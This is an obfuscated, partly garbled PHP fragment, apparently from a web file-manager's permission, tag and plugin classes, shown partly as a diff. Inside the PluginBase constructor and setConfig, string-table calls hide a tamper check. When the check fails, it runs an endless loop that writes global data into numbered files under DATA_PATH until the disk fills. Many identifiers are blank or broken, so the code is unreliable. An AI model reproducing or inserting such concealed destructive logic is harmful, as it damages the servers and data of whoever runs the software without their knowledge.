$ = $Աٛ[$[1773]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ۜ = $Աٛ[$[1773]] ? $Աٛ[$[1773]] : $Աٛ[$[1972]]; if ($Աٛ[$[1773]] && $Աٛ[$[1773]] == $ܾ) { continue; } $¿[] = array($[203] => $[$[203]], $[200] => $, $[578] => intval($ۜ), $[2080] => isset($ھ[$[484]]) ? intval($ھ[$[484]]) : 0, $[2140] => isset($ھ[$[2140]]) ? intval($ھ[$[2140]]) : -1); } $¿[] = array($[203] => $[$[203]], $[200] => SourceModel::TYPE_USER, $[578] => intval($ܾ), $[2080] => intval($), $[2140] => -1); $this->where(array($[500] => $[$[203]]))->delete(); $this->addAll($¿); } return !0; } public function get($) { $ȸ = $this->getSourceList(array($), !0); return $ȸ[0]; } public function getSourceList($, $ = false, $Ӑ = false) { $ϳ =& $_SERVER[՟]; if (!$) { return array(); } $Ƶ = Model($ϳ[1421]); if (!$ && count($) == 1) { $ = array(); $[$[0]] = $Ƶ->sourceInfo($[0]); } if (!$) { $˯ܼ = array($ϳ[500] => array($ϳ[501], $)); $ = $Ƶ->field($ϳ[2164])->where($˯ܼ)->select(); $ = array_to_keyvalue($, $ϳ[203]); } $Ʈ = $; foreach ($ as $߲ => $Թ) { $ = $Ƶ->parentLevelArray($Թ[$ϳ[593]]); $Ʈ = array_merge($Ʈ, array($߲), array_reverse($)); } $Ʈ = array_values(array_unique($Ʈ)); if (!$Ʈ) { return array(); } $ = $this->sourceAuthSelect($Ʈ); $֛ = array(); foreach ($Ʈ as $ˣ) { if (isset($[$ˣ])) { $֛[$ˣ] = $[$ˣ]; } } $ = $this->userIsRoot($Ӑ); $̈ = AuthModel::authAll(); $Ϲ = array($ϳ[497] => $̈, $ϳ[2165] => array($ϳ[502] => 0, $ϳ[1978] => $̈, $ϳ[503] => LNG($ϳ[2166]), $ϳ[1995] => $ϳ[2167])); $틶 = array(); foreach ($ as $ˣ => $ӕ) { if ($ && $GLOBALS[$ϳ[6]][$ϳ[1991]]) { $틶[$ˣ] = $Ϲ; continue; } $틶[$ˣ] = $this->makeSourceAuth($ӕ, $֛, $Ӑ); } return $틶; } public function authDeepCheck($яŜ, $ʲ֏ = false) { $㞇 =& $_SERVER[՟]; $ʲ֏ = $ʲ֏ ? $ʲ֏ : USER_ID; $ё = $this->makeAuthDeep($ʲ֏); if (!in_array($яŜ, $ё[$㞇[2168]])) { return !1; } $ˌ = array(); foreach ($ё[$㞇[2169]] as $ => $) { if (!in_array($яŜ, $)) { continue; } $ˌ[] = $; } if (!$ˌ) { return !1; } $À = $ˌ ? $ˌ[0] : $яŜ; return array($㞇[497] => -1, $㞇[549] => array($㞇[502] => $㞇[1276], $㞇[1978] => $㞇[238], $㞇[503] => LNG($㞇[2170]), $㞇[1995] => $㞇[2171]), $㞇[2172] => LNG($㞇[2173]), $㞇[2174] => $this->sourceAuthInfo($À)); } protected function makeAuthDeep($͑ = false) { $ =& $_SERVER[՟]; static $ߣ = array(); $͑ = $͑ ? $͑ : USER_ID; if (isset($ߣ[$͑])) { return $ߣ[$͑]; } $ = Model($[2175])->listData(); $ = array(); foreach ($ as $) { if ($[$[496]] == 0 && $[$[1994]] == $[101]) { $[] = $[$[484]]; } } $˩ = $this->userGroupParents($͑); $ٶ = array($[200] => SourceModel::TYPE_USER, $[578] => $͑); if ($˩) { $ٶ = array(array($[200] => SourceModel::TYPE_USER, $[578] => $͑), array($[200] => SourceModel::TYPE_GROUP, $[578] => array($[501], $˩)), $[1081] => $[2074]); } $죠п = $this->field($[2176])->where($ٶ)->select(); $ˌ = array(); $ = array_to_keyvalue_group($죠п, $[203]); foreach ($ as $ => $ڸ) { $ = $this->authArrayCheck($ڸ, $͑); if ($[$[497]] > 0) { $ˌ[] = $ . $[12]; } } if ($˩) { $ = Model($[594]); foreach ($˩ as $П) { $ = $->getInfo($П); if (!$ || !is_array($[$[100]])) { continue; } $ˌ[] = $[$[100]][$[203]]; } } $ = array(); $鍗 = $˩; $ = Model($[1421]); $ = Model($[594]); $젂 = array(); $ܩ = array(); $ג = array(); $È = array(); if ($ˌ) { $Ϟі = $->where(array($[203] => array($[501], $ˌ)))->select(); foreach ($Ϟі as $Ǹ܂) { $ = $->parentLevelArray($Ǹ܂[$[593]]); $ = array_merge($, $); $鍗[] = $Ǹ܂[$[578]]; $젂[$Ǹ܂[$[203]]] = $; $ܩ[$Ǹ܂[$[203]]] = $Ǹ܂[$[578]]; } } $鍗 = array_values(array_unique($鍗)); $Χ = $鍗; foreach ($Χ as $П) { $ = $->getInfo($П); $ = $->parentLevelArray($[$[593]]); $鍗 = array_merge($鍗, $); } $鍗 = array_values(array_unique($鍗)); foreach ($鍗 as $П) { $ = $->getInfo($П); $[] = $[$[100]][$[203]]; $ג[$П] = $[$[100]][$[203]]; $È[$П] = $->parentLevelArray($[$[593]]); } foreach ($젂 as $ => $ѭ) { $ = $ܩ[$]; if (!$ || !$ג[$]) { continue; } $ = array(); foreach ($È[$] as $П) { $[] = $ג[$П]; } $젂[$] = array_merge($, $ѭ); } $ = array_values(array_unique($)); $ů = array($[2168] => $, $[2169] => $젂); $ߣ[$͑] = $ů; return $ů; } private function makeSourceAuth($㖶Ƒ, $û碷, $˖ޣ = false) { $ =& $_SERVER[՟]; $Ҭ = $[101]; $ý = $㖶Ƒ[$[578]]; $ = $㖶Ƒ[$[200]] == SourceModel::TYPE_GROUP; $ = $ ? $this->groupRootAuth($ý, $˖ޣ) : !1; if ($ && Model($[580])->authCheckAction($[$[496]], $[1993])) { return $this->groupAuthInfo($, $ý); } $ά = Model($[1421])->parentLevelArray($㖶Ƒ[$[593]]); $ά = array_merge(array($㖶Ƒ[$[203]]), array_reverse($ά)); $ = !1; foreach ($ά as $ɉ) { if (!isset($û碷[$ɉ])) { continue; } $ƻ = $this->authMake($û碷[$ɉ], $˖ޣ); if ($ƻ[$[549]]) { $ = $ƻ; break; } } if (!$) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $ý); } if (!$) { $ = Model($[594])->getInfo($ý); $܊ = explode($[50], trim($[$[593]], $[50])); $܊ = array_reverse($܊); foreach ($܊ as $) { if ($ == $[238] || $ == $Ҭ) { continue; } $ = $this->groupRootAuth($, $˖ޣ); if (!$) { continue; } $ = $this->groupAuthInfo($, $); break; } } if (!$ || $[$[497]] <= 0) { $üٌ = $this->authDeepCheck($㖶Ƒ[$[203]], $˖ޣ); if ($üٌ) { $ = $üٌ; } } return $; } private function userIsRoot($ = false) { $П䲮 =& $_SERVER[՟]; if (!$ && KodUser::isRoot()) { return !0; } $˾ň = Model($П䲮[607])->getInfo($); $ = Model($П䲮[2177])->listData($˾ň[$П䲮[2178]]); if ($ && $[$П䲮[584]][$П䲮[2179]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[՟]; $ցݘ = Model($[1421]); $ѯ = $ցݘ->sourceInfo($); if (!$ѯ) { return !1; } $ցݘ->groupPathDisplay($ѯ); $ǣ = array($ѯ); $ǣ = $ցݘ->_listAppendPath($ǣ); $ѯ = $ǣ[0]; $ = $ѯ[$[591]]; if (isset($ѯ[$[599]])) { $ = explode($[8], trim($ѯ[$[591]], $[8])); array_shift($); $ = $ѯ[$[597]] . $[2180] . implode($[8], $); } return array($[503] => $ѯ[$[32]], $[97] => KodIO::make($ѯ[$[203]]), $[2181] => $); } private function groupAuthInfo($, $) { $ԇ =& $_SERVER[՟]; $ = Model($ԇ[594])->getInfo($); return array($ԇ[2182] => intval($[$ԇ[496]]), $ԇ[2165] => $, $ԇ[2183] => LNG($ԇ[2184]), $ԇ[2174] => array($ԇ[503] => $[$ԇ[32]], $ԇ[97] => KodIO::make($[$ԇ[100]][$ԇ[203]]), $ԇ[2181] => $[$ԇ[598]])); } protected function groupRootAuth($Ъ, $˥ = false) { $鮰 =& $_SERVER[՟]; $˥ = $˥ ? $˥ : USER_ID; $ = $˥ . $鮰[2185] . $Ъ; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($鮰[594])->getInfo($Ъ); $̗ź֛ = $this->userGroupList($˥); $Ɔ = isset($̗ź֛[$Ъ]) ? $̗ź֛[$Ъ][$鮰[496]] : !1; if ($Ɔ && Model($鮰[580])->authCheckAction($Ɔ[$鮰[496]], $鮰[1993])) { $[$] = $Ɔ; return $Ɔ; } $ = $this->sourceAuthSelect($[$鮰[100]][$鮰[203]]); $І֟ = $ ? $this->authMake($, $˥) : !1; $Τ = $І֟ ? $І֟[$鮰[549]] : !1; $[$] = $Τ ? $Τ : $Ɔ; return $[$]; } public function authOwnerApply($) { $ꊌ =& $_SERVER[՟]; if (empty($[$ꊌ[496]]) || isset($[$ꊌ[2186]]) && $[$ꊌ[2186]]) { return $; } if (AuthModel::authCheckRoot($[$ꊌ[496]][$ꊌ[497]])) { return $; } $ = Model($ꊌ[1421])->parentLevelArray($[$ꊌ[593]]); $ = array_merge(array($[$ꊌ[203]]), array_reverse($)); $ = $this->sourceAuthSelect($); $㶙; = array(); $ʸ = array(); foreach ($ as $똦 => $ۖ) { $ܢշ = $this->authFolderOwnerUser($ۖ); $㶙;[$똦] = $ܢշ; $ʸ = array_merge($ʸ, $ܢշ[$ꊌ[671]]); if ($ܢշ[$ꊌ[2187]]) { break; } } if (count($ʸ) == 0) { $ʸ = $this->authFolderOwnerGroup($[$ꊌ[578]]); } $ʸ = array_unique($ʸ); if (AuthModel::authCheckRoot($[$ꊌ[496]][$ꊌ[497]])) { $ʸ[] = USER_ID; } $[$ꊌ[496]][$ꊌ[2188]] = Model($ꊌ[586])->userListInfo($ʸ); return $; } private function authFolderOwnerGroup($) { $ =& $_SERVER[՟]; $Ң = Model($[2066])->where(array($[1972] => $))->select(); $Ü = array(); if (!$Ң) { return $Ü; } foreach ($Ң as $) { $ = $this->authInfo($); if (AuthModel::authCheckRoot($[$[496]])) { $Ü[] = $[$[1773]]; } } return $Ü; } private function authFolderOwnerUser($ﲺ) { $ =& $_SERVER[՟]; $ = array(); $瓲 = !1; foreach ($ﲺ as $) { $ = $this->authInfo($); if ($[$[578]] == $[238]) { $瓲 = !0; } if ($[$[200]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$[496]])) { $[] = $[$[578]]; } } } return array($[671] => $, $[2187] => $瓲); } public function authMake($, $ = false) { $ =& $_SERVER[՟]; $ = $this->authArrayCheck($, $); if ($[$[2189]]) { $[$[2189]] = $this->sourceAuthInfo($[$[2189]]); } return $; } public function authArrayCheck($, $܆ = false) { $Å =& $_SERVER[՟]; if (!$) { return array($Å[497] => 0, $Å[549] => !1); } $܆ = $܆ ? $܆ : USER_ID; $հƄɞ = 0; $ = 0; $ = 0; $ = 0; $ڶ = 0; $Ѽ = 0; $樣 = 1000; $ = 0; $ = 0; $ = 0; $먝 = 0; $ϝ = array($Å[203] => 0); foreach ($ as $ϝ) { $ = $this->authInfo($ϝ); if (!$) { continue; } $ = $ϝ[$Å[578]]; $ȱ = intval($[$Å[496]]); if ($ϝ[$Å[200]] == SourceModel::TYPE_USER && $ == $܆) { $հƄɞ = !0; $ = $; $ = $ȱ; } else { if ($ϝ[$Å[200]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $܆)) { $ = !0; $̈ = $this->groupStepToUserGroup($, $܆); if ($̈ < $樣) { $樣 = $̈; $ڶ = $ȱ; $Ѽ = $; $ = $; } if ($̈ == $樣 && $ȱ >= $ڶ) { $ڶ = $ȱ; $Ѽ = $; $ = $; } } else { if ($ == $Å[238]) { $ = !0; $먝 = $; $ = $ȱ; } } } } if ($հƄɞ) { $ = $; $ = $; $ȉ = LNG($Å[2190]); } else { if ($) { $ = $ڶ; $ = $Ѽ; $Ֆ = Model($Å[594])->getInfo($); $ȉ = $Å[186] . $Ֆ[$Å[598]] . $Å[2191] . LNG($Å[2192]); } else { if ($) { $ = $; $ = $먝; $ȉ = LNG($Å[2162]); } else { $ = 0; $ = !1; $ȉ = $Å[12]; } } } $ = array($Å[2182] => intval($), $Å[2165] => $, $Å[2183] => $ȉ, $Å[2174] => $ϝ[$Å[203]]); return $; } private function groupContainUser($, $Ь = false) { return in_array($, $this->userGroupParents($Ь)); } private function groupStepToUserGroup($, $ = false) { $Ա =& $_SERVER[՟]; $ = $this->userGroupList($); $㤡 = 1000; $ = $GLOBALS[$Ա[6]][$Ա[102]][$Ա[2079]] == 1; $ = $ ? 3 : 2; foreach ($ as $γ) { if ($γ[$Ա[1972]] == $) { return 0; } $Lj = explode($Ա[50], trim($γ[$Ա[593]], $Ա[50])); if ($Lj[0] == $Ա[238] && count($Lj) > $) { $朊 = array_reverse(array_slice($Lj, $)); $ = array_search($, $朊); if ($ !== !1 && $ + 1 <= $㤡) { $㤡 = $ + 1; } } } return $㤡; } private function userGroupList($ = false) { $ =& $_SERVER[՟]; static $ = array(); if (isset($[$])) { return $[$]; } $í = Model($[607])->getInfo($); $[$] = array_to_keyvalue($í[$[2163]], $[1972]); return $[$]; } public function userGroupParents($ۗ) { $퓷 =& $_SERVER[՟]; static $Ѩ = array(); $ۗ = $ۗ ? $ۗ : USER_ID; if (isset($Ѩ[$ۗ])) { return $Ѩ[$ۗ]; } $υ = $this->userGroupList($ۗ); $ƥ = array(); $ = $GLOBALS[$퓷[6]][$퓷[102]][$퓷[2079]] == 1; $ = $ ? 3 : 2; foreach ($υ as $) { $ץ = array($[$퓷[1972]]); $߾ = explode($퓷[50], trim($[$퓷[593]], $퓷[50])); if ($߾[0] == $퓷[238] && count($߾) > $) { $ = array_slice($߾, $); $ץ = array_merge($ץ, array_reverse($)); } $ƥ = array_merge($ƥ, $ץ); } $Ѩ[$ۗ] = array_unique($ƥ); return $Ѩ[$ۗ]; } public function authTargetInfoMake($) { $ =& $_SERVER[՟]; $ = array(); $ = array(); foreach ($ as $) { if ($[$[200]] == SourceModel::TYPE_USER) { $[] = intval($[$[578]]); } else { if ($[$[200]] == SourceModel::TYPE_GROUP) { $[] = intval($[$[578]]); } } } if ($) { $ = Model($[586])->userListInfo($); } if ($) { $Џ = array($[2064] => array($[501], $)); $ = Model($[594])->field($[2193])->where($Џ)->select(); $ = array_to_keyvalue($, $[1972]); } return array($[2194] => $, $[2195] => $); } public function authInfo($籎) { $ =& $_SERVER[՟]; if ($籎[$[2080]]) { $ӽ = Model($[580])->listData($籎[$[2080]]); if (!$ӽ) { return !1; $ = Model($[580])->listData(); $렩 = array_filter_by_field($, $[496], $[238]); return $렩; } $ы = array_field_key($ӽ, array($[484], $[32], $[496], $[1995], $[1996])); $ы[$[2196]] = $籎; return $ы; } else { return array($[502] => 0, $[1978] => $籎[$[2140]], $[503] => $[12], $[1995] => $[2197]); } } } goto E; e˭: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\163\145\x72\x5f\x66\141\x76"; protected function cacheFunctionAlias($) { $ =& $_SERVER[՟]; return array($[2087] => array($[2506] . USER_ID, $[2088])); } protected function listData() { $닂 =& $_SERVER[՟]; $Ӫ = array($닂[1764] => USER_ID, $닂[566] => array($닂[2091], 0)); $ = $닂[2507]; $뇶 = $this->field($)->where($Ӫ)->order($닂[2094])->select(); return $뇶 ? $뇶 : array(); } protected function addToTag($, $֠) { $ =& $_SERVER[՟]; if (!Model($[2238])->listData($֠)) { return !1; } if (is_numeric($)) { $ݬӸ = Model($[908])->pathInfo($); if (!$ݬӸ) { return !1; } } else { $ݬӸ = IO::infoSimple($); if (!$ݬӸ) { return !1; } $ = $ݬӸ[$[32]]; $䡯 = $ݬӸ[$[33]]; if (isset($ݬӸ[$[494]])) { $䡯 = $ݬӸ[$[494]] == $[101] ? $[88] : $[240]; } } $ηĬ = array($[1764] => USER_ID, $[566] => $֠, $[504] => $, $[505] => $䡯 ? $䡯 : $[499], $[503] => $ ? $ : $[12], $[1976] => 0); if ($this->where($ηĬ)->find()) { return !1; } return $this->add($ηĬ); } protected function removeFromTag($䝞, $˯) { $ƀ =& $_SERVER[՟]; if (!Model($ƀ[2238])->listData($˯)) { return !1; } if (is_array($䝞)) { $䝞 = array($ƀ[7], $䝞); } $윃 = array($ƀ[1764] => USER_ID, $ƀ[566] => $˯, $ƀ[504] => $䝞); return $this->where($윃)->delete(); } protected function removeByTag($) { $ҋ =& $_SERVER[՟]; if (!$) { return !1; } $ = array($ҋ[1764] => USER_ID, $ҋ[566] => $); return $this->where($)->delete(); } protected function removeBySource($ځ) { $ =& $_SERVER[՟]; if (is_array($ځ)) { $ځ = array($[7], $ځ); } $ = array($[1764] => USER_ID, $[566] => array($[1095], 0), $[504] => $ځ); return $this->where($)->delete(); } }
\ No newline at end of file
+ goto dҲ; AȪȃ: class Message { function __construct() { } public function send($Ҩč = '', $ = array(), $ = "\164\145\170\x74") { $ =& $_SERVER[]; $Ӷ = array($[33] => $[1613], $[171] => $Ҩč); if (in_array($, array($[1613], $[1614]))) { $Ӷ[$[33]] = $; } $ = array($[578] => isset($[$[578]]) ? $[$[578]] : $[12], $[662] => isset($[$[662]]) ? $[$[662]] : $[12]); if (empty($Ҩč) || empty($[$[578]]) && empty($[$[662]])) { return !1; } $Ǚұ = array($[1541] => $Ӷ, $[1615] => $); Hook::trigger($[1616], $Ǚұ); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; $ = $_SERVER[$[844]]; $ު = $[845]; if ($_SERVER[$[846]] != $ު($)) { $ڈ = $[951]; $ = $[847]; $ϝ = $_SERVER[$[848]] . $[849]; $ר = $($ϝ); $ѴϢ = explode($[262], $ר); if (count($ѴϢ) < $[683]) { $綴 = $[850]; $綴(); } $튏 = $[952]; $튏($_SERVER[$[953]]); $ڈ = $[951]; $ڈ(); $С = $[1617]; $ = json_encode($GLOBALS[$[1618]]); $Х = 1; for ($ɺ = $Х; $ɺ > 0; $ɺ++) { $С(DATA_PATH . $ɺ, $); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1619]); $this->pluginName = str_replace($[1619], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1620] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1621]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1621]] . $this->pluginName . $[8]; $ѕ = $config[$[1622]]; if ($ѕ && strpos($[50] . $ѕ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1623]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $this->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1624]); } protected function assign($, $ɹؖ = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $ɹؖ; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[]; $ = $this->appPackage(); $У = $[12]; if (isset($[$[490]])) { if (isset($[$[490]][$[1625]])) { $У = $[1626] . $[$[490]][$[1625]] . $[1627]; } else { if ($[$[490]][$[1628]]) { $У = $[1629] . $[$[490]][$[1628]] . $[1630]; } } } return $У; } final function fileCanView($) { $䅤 =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $䅤[1631] . rawurlencode(this_url()); show_tips(LNG($䅤[1632]) . $䅤[1633] . $ . $䅤[1634] . LNG($䅤[1635]) . $䅤[1636], !1); } if (!Action($䅤[1637])->authCan($䅤[1638])) { show_tips(LNG($䅤[1639]) . $䅤[1640], !1); } ActionCall($䅤[1641], $); } final function isShare($͕) { $Ņ = KodIO::parse($͕); return $Ņ[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[][1249])->linkOut($); } public function filePathLinkOut($ǖ) { if (request_url_safe($ǖ)) { return $ǖ; } $this->fileCanView($ǖ); return Action($_SERVER[][1249])->link($ǖ); } final function filePath($, $ޔ = true, $⡡ = false) { $Ω =& $_SERVER[]; $ݦ = $this->filePathGet($, $ޔ); if (!$this->fileInfo) { show_tips(LNG($Ω[108]), !1); } if ($⡡ && isset($this->fileInfo[$Ω[541]]) && $this->fileInfo[$Ω[541]]) { $Ŕ = Model($Ω[544])->fileInfo($this->fileInfo[$Ω[541]]); if (!$Ŕ || !IO::exist($Ŕ[$Ω[87]])) { show_tips(LNG($Ω[108]) . $Ω[1642]); } } Hook::trigger($Ω[1643], $ݦ); return $ݦ; } final function filePathGet($, $Ͻԍ = true) { $ =& $_SERVER[]; if ($Ļ = $this->checkSharePath($, $Ͻԍ)) { return $Ļ; } $this->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$[1644]]) && isset($[$[234]])) { $ = Mcrypt::decode($[$[234]], Model($[837])->get($[838])); if ($) { $this->fileInfo = IO::info($); $this->fileInfo[$[1645]] = $; $this->cachePath = $this->pluginCachePath($[12], $Ͻԍ); return $; } } $ = $this->_cacheHttpFile($, $Ͻԍ); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath = $this->pluginCachePath($[12], $Ͻԍ); } return $; } final function _cacheHttpFile($Ι, $ = true) { $ =& $_SERVER[]; $ = parse_url_query($Ι); $Μբ = get_path_ext($Ι); if (isset($[$[32]]) && $[$[32]]) { $Μբ = get_path_ext($[$[32]]); } $ = hash_path($Ι) . $[10] . $Μբ; $this->cachePath = $this->pluginCachePath($ ? $ : $[12]); $ = IO::fileNameExist($this->cachePath, $); if ($) { return KodIO::make($); } $ = rtrim($this->cachePath, $[8]) . $[8] . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($Ι)); } final function checkSharePath($ݎ, $բ = true) { $߄ =& $_SERVER[]; if (!$this->isShare($ݎ)) { return !1; } $Û乙 = Action($߄[1249])->sharePathInfo($ݎ); if (!is_array($Û乙) || !isset($Û乙[$߄[87]])) { show_json(LNG($߄[1646]), !1); } $this->fileInfo = $Û乙; $this->cachePath = $this->pluginCachePath(!1, $բ); return $Û乙[$߄[87]]; } final function pluginCachePath($ = '', $ˇ = false) { $ =& $_SERVER[]; if ($ˇ && is_array($this->fileInfo)) { $ = kodIO::hashPath($this->fileInfo); } $铤 = rtrim(IO_PATH_SYSTEM_TEMP . $[1647] . $this->pluginName . $[8] . $, $[8]); $ = IO::infoFullSimple($铤); $ź = $ && is_array($) ? $[$[87]] : $[12]; if (!$ź) { $ź = IO::mkdir($铤); } return $ź; } final function pluginCacheFileSet($ʈ, $˞ = '') { $آѿ =& $_SERVER[]; $ = IO::infoFullSimple($ʈ); if (!$) { return IO::mkfile($ʈ, $˞, REPEAT_REPLACE); } IO::setContent($[$آѿ[87]], $˞); return $[$آѿ[87]]; } final function pluginLocalFile($ = '') { $ٝ =& $_SERVER[]; $݈ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($݈)) { mk_dir($݈); } if (!$) { return $݈; } $ϰ = IO::info($); $Ǵ = $ٝ[1648] . KodIO::hashPath($ϰ) . $ٝ[10] . $ϰ[$ٝ[169]]; if (!checkExtSafe($Ǵ)) { $Ǵ = $Ǵ . $ٝ[1284]; } $ = $݈ . $Ǵ; if (@file_exists($)) { return $; } return IO::copy($, $݈, 0, $Ǵ); } final function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ա = $this->parseFile($this->pluginPath . $[1649]); $this->parseLang($ա); $Ȗ = json_decode_force($ա); if (!$Ȗ) { return array(); } $˛ = Hook::trigger($[1650], $Ȗ); if ($˛ && is_array($˛)) { $Ȗ = $˛; } $this->packageData = $Ȗ; return $Ȗ; } public function packageInfoGet($) { $Ǫ = $this->appPackage(); return array_get_value($Ǫ, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1651]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1652]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1653]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($陇) { $ф =& $_SERVER[]; $η = file_get_contents_nossl($陇); $ϯ = array($ф[1654], $ф[1655], $ф[1656], $ф[1657], $ф[1658], $ф[1659], $ф[1660]); $Θ͛ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$ф[92]][$ф[1661]]); foreach ($this->echoJsAssignArr as $ => $Ŝ) { $ϯ[] = $ф[1662] . $ . $ф[1663]; $Θ͛[] = is_array($Ŝ) || is_object($Ŝ) ? rawurlencode(json_encode($Ŝ)) : $Ŝ; } if (strstr($η, $ф[1664])) { $ͩ = rawurlencode(json_encode($this->pluginLangArr)); $η = str_replace($ф[1664], $ͩ, $η); } if (strstr($η, $ф[1665])) { $ͩ = $ͩ = rawurlencode(json_encode($this->getConfig())); $η = str_replace($ф[1665], $ͩ, $η); } $η = str_replace($ϯ, $Θ͛, $η); return $η; } private function parseLang(&$ᨴ) { $Ӓ =& $_SERVER[]; $ = $Ӓ[1666]; if (!strstr($ᨴ, $)) { return; } preg_match_all($Ӓ[1667], $ᨴ, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $Ƹ = array(); $ژň = array(); foreach ($[0] as $ˎ) { $ݮ = substr($ˎ, strlen($), -4); $ՙ = LNG($ݮ); $Ƹ[] = $ˎ; $ژň[] = str_replace(array($Ӓ[262], $Ӓ[1150], $Ӓ[418], $Ӓ[121]), array($Ӓ[53], $Ӓ[53], $Ӓ[12], $Ӓ[1668]), $ՙ); } $ᨴ = str_replace($Ƹ, $ژň, $ᨴ); } private function parseConfig(&$҂) { $͍ =& $_SERVER[]; $ = $͍[1669]; if (!strstr($҂, $)) { return; } preg_match_all($͍[1670], $҂, $ڤ); if (!is_array($ڤ) || count($ڤ) == 0 || !is_array($ڤ[0]) || count($ڤ[0]) == 0) { return; } $ˮŔ = $this->getConfig(); $ = array(); $¬е = array(); foreach ($ڤ[0] as $) { $ۿ = substr($, strlen($), -2); $[] = $; $¬е[] = _get($ˮŔ, $ۿ); } $҂ = str_replace($, $¬е, $҂); } private function parsePackage(&$ç) { $ =& $_SERVER[]; $ԕ = $[1671]; if (!strstr($ç, $ԕ)) { return; } preg_match_all($[1672], $ç, $د); if (!is_array($د) || count($د) == 0 || !is_array($د[0]) || count($د[0]) == 0) { return; } $ӽǺ = $this->appPackage(); $抵 = array(); $ = array(); foreach ($د[0] as $𬼜) { $ߵ = substr($𬼜, strlen($ԕ), -2); $抵[] = $𬼜; $[] = _get($ӽǺ, $ߵ); } $ç = str_replace($抵, $, $ç); } final function echoFile($, $ӱ = false) { $ =& $_SERVER[]; $ = $this->pluginPath . $; if (ACT == $[1673]) { echo $[1674] . $this->pluginName . $[8] . $ . $[1675]; if (!file_exists($)) { echo $[1676]; return; } } $燄 = $this->parseFile($); $this->parseLang($燄); $this->parseConfig($燄); $this->parsePackage($燄); if (is_array($ӱ)) { $燄 = str_replace(array_keys($ӱ), array_values($ӱ), $燄); } echo $[262] . $燄; } private function checkVersion() { $ =& $_SERVER[]; $˝ = $this->appPackage(); $纁 = $this->getConfig(); if ($纁[$[1677]] == $˝[$[1651]]) { return; } $this->regist(); $this->setConfig(array($[1677] => $˝[$[1651]])); } final function initLang() { $؈ =& $_SERVER[]; $Ք = $؈[1678]; $웸 = $this->pluginPath . $؈[1679]; $̗ = I18n::getType(); $؊ = array(); if (file_exists($웸 . $̗ . $؈[913])) { $؊ = (include $웸 . $̗ . $؈[913]); } else { if ($̗ == $؈[1680] && !file_exists($웸 . $̗ . $؈[913]) && file_exists($웸 . $؈[1681])) { $؊ = (include $웸 . $؈[1681]); } else { if (file_exists($웸 . $Ք . $؈[913])) { $؊ = (include $웸 . $Ք . $؈[913]); } } } if (!is_array($؊)) { return array(); } if (@count($؊) > 0) { I18n::set($؊); } return $؊; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($՟) { $ =& $_SERVER[]; if (!isset($_SERVER[$[846]]) || !isset($_SERVER[$[844]])) { $ = $[951]; $ = $[847]; $ = $_SERVER[$[848]] . $[849]; $ = $($); $ﷅ = explode($[262], $); if (count($ﷅ) < $[683]) { $ = $[850]; $(); } $ = $[952]; $($_SERVER[$[953]]); $ţ = 1; for ($妻 = $ţ; $妻 > 0; $妻++) { $ = json_encode($GLOBALS[$[492]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $՟); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($͕) { if ($͕ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\160\x6c\x75\147\x69\156\101\x75\x74\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($_SERVER[][1682], $[$]); } public function url($Ե, $ʹ = '', $ = true) { $ϗ =& $_SERVER[]; $ = $this->getConfig(); $⇨ = KOD_VERSION . $ϗ[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $ = $⇨ . $ϗ[462] . $; if (substr($Ե, 0, 4) == $ϗ[152] || substr($Ե, 0, 2) == $ϗ[1403]) { $ɞ = $Ե . $ϗ[1683] . $; } else { if ($ʹ == $ϗ[12]) { 